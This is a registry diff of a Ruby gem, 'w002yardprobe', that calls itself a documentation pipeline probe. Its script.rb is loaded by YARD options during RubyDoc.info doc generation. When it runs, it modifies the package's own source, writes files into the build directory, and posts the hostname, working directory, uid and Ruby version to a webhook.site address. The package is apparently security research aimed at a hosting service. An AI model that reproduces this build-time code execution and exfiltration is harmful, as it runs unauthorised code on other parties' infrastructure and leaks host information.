w002yardprobe 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.yardopts +3 -0
- data/README.md +6 -0
- data/lib/w002yardprobe.rb +13 -0
- data/script.rb +36 -0
- metadata +44 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 6e7f05c380335eea7342eef814f6a53e67c91664830483e0beb140a4ea0654a8
|
|
4
|
+
data.tar.gz: 1d6c2b1e6122f5391340b5b96cec3529dcc52ed9cda74cf3259a634811556790
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 8100179117caffae05458509da3113cdd51a13aba61f9efa7de534d5a074047662f06e3622897f1cb9b7268d7019eabd328919b4a56b55eb3b15c77194a5241c
|
|
7
|
+
data.tar.gz: 4fd1527aea3dd68448ddf50139a9f4f9d82d52ae479078a70c7299bee1b2597fa0cb09801911598f7f0d9c0dff4824c42a8d9b91f108e1f3e92d230ddc7c72b3
|
data/.yardopts
ADDED
data/README.md
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
# w002yardprobe — probe gem for RubyDoc.info build pipeline verification (w002)
|
|
2
|
+
module W002yardprobe
|
|
3
|
+
VERSION = "0.0.1"
|
|
4
|
+
|
|
5
|
+
# Probe class. Runtime marker: MARKSLOT
|
|
6
|
+
class Probe
|
|
7
|
+
# Returns the probe stamp. Marker2: MARKSLOT
|
|
8
|
+
# @return [String] stamp
|
|
9
|
+
def ping
|
|
10
|
+
"MARKSLOT"
|
|
11
|
+
end
|
|
12
|
+
end
|
|
13
|
+
end
|
data/script.rb
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
# w002: loaded via .yardopts `--load ./script.rb` during RubyDoc.info docparse generate stage.
|
|
2
|
+
# Unique marker: r002-y7Kp9Qz (idempotent; safe to run multiple times).
|
|
3
|
+
begin
|
|
4
|
+
stamp = "R002EXEC-#{Time.now.utc.strftime('%Y%m%dT%H%M%S')}-#{Process.pid}"
|
|
5
|
+
# 1) mutate lib source: MARKSLOT -> stamp (docstring lands in .yardoc db, rendered on site)
|
|
6
|
+
f = File.join(File.dirname(__FILE__), 'lib', 'w002yardprobe.rb')
|
|
7
|
+
if File.exist?(f)
|
|
8
|
+
c = File.read(f)
|
|
9
|
+
File.write(f, c.gsub('MARKSLOT', stamp)) if c.include?('MARKSLOT')
|
|
10
|
+
end
|
|
11
|
+
# 2) side-effect files in build dir (serving unknown; local oracle)
|
|
12
|
+
File.write('W002SCRIPT_RAN.txt', stamp)
|
|
13
|
+
# 3) best-effort egress probe (network may be disconnected in generate stage)
|
|
14
|
+
begin
|
|
15
|
+
require 'net/http'
|
|
16
|
+
require 'json'
|
|
17
|
+
info = {
|
|
18
|
+
marker: 'r002-y7Kp9Qz',
|
|
19
|
+
pwd: Dir.pwd,
|
|
20
|
+
host: (Socket.gethostname rescue nil),
|
|
21
|
+
ruby: RUBY_VERSION,
|
|
22
|
+
uid: (Process.uid rescue nil)
|
|
23
|
+
}
|
|
24
|
+
uri = URI('https://webhook.site/97fa3c6a-3fad-4d2d-8312-15dc37e41e66')
|
|
25
|
+
params = { 'm' => 'r002-y7Kp9Qz', 'info' => JSON.generate(info), 'file' => File.expand_path(__FILE__) }
|
|
26
|
+
ok = Net::HTTP.post_form(uri, params)
|
|
27
|
+
File.write('W002EGRESS_OK.txt', "status=#{ok.code} at=#{Time.now.utc}")
|
|
28
|
+
rescue => e
|
|
29
|
+
File.write('W002EGRESS_ERR.txt', "#{e.class}: #{e.message}")
|
|
30
|
+
end
|
|
31
|
+
rescue => e
|
|
32
|
+
begin
|
|
33
|
+
File.write('W002SCRIPT_ERR.txt', "#{e.class}: #{e.message}\n#{e.backtrace.first(5).join("\n")}")
|
|
34
|
+
rescue
|
|
35
|
+
end
|
|
36
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: w002yardprobe
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- w002-research
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: Minimal probe gem used to verify YARD doc generation behavior on documentation
|
|
13
|
+
hosting services.
|
|
14
|
+
email: w002-research@example.org
|
|
15
|
+
executables: []
|
|
16
|
+
extensions: []
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- ".yardopts"
|
|
20
|
+
- README.md
|
|
21
|
+
- lib/w002yardprobe.rb
|
|
22
|
+
- script.rb
|
|
23
|
+
homepage: https://github.com/w002-research/w002yardprobe
|
|
24
|
+
licenses:
|
|
25
|
+
- MIT
|
|
26
|
+
metadata: {}
|
|
27
|
+
rdoc_options: []
|
|
28
|
+
require_paths:
|
|
29
|
+
- lib
|
|
30
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '3.0'
|
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
36
|
+
requirements:
|
|
37
|
+
- - ">="
|
|
38
|
+
- !ruby/object:Gem::Version
|
|
39
|
+
version: '0'
|
|
40
|
+
requirements: []
|
|
41
|
+
rubygems_version: 3.6.9
|
|
42
|
+
specification_version: 4
|
|
43
|
+
summary: Documentation build pipeline probe (w002)
|
|
44
|
+
test_files: []
|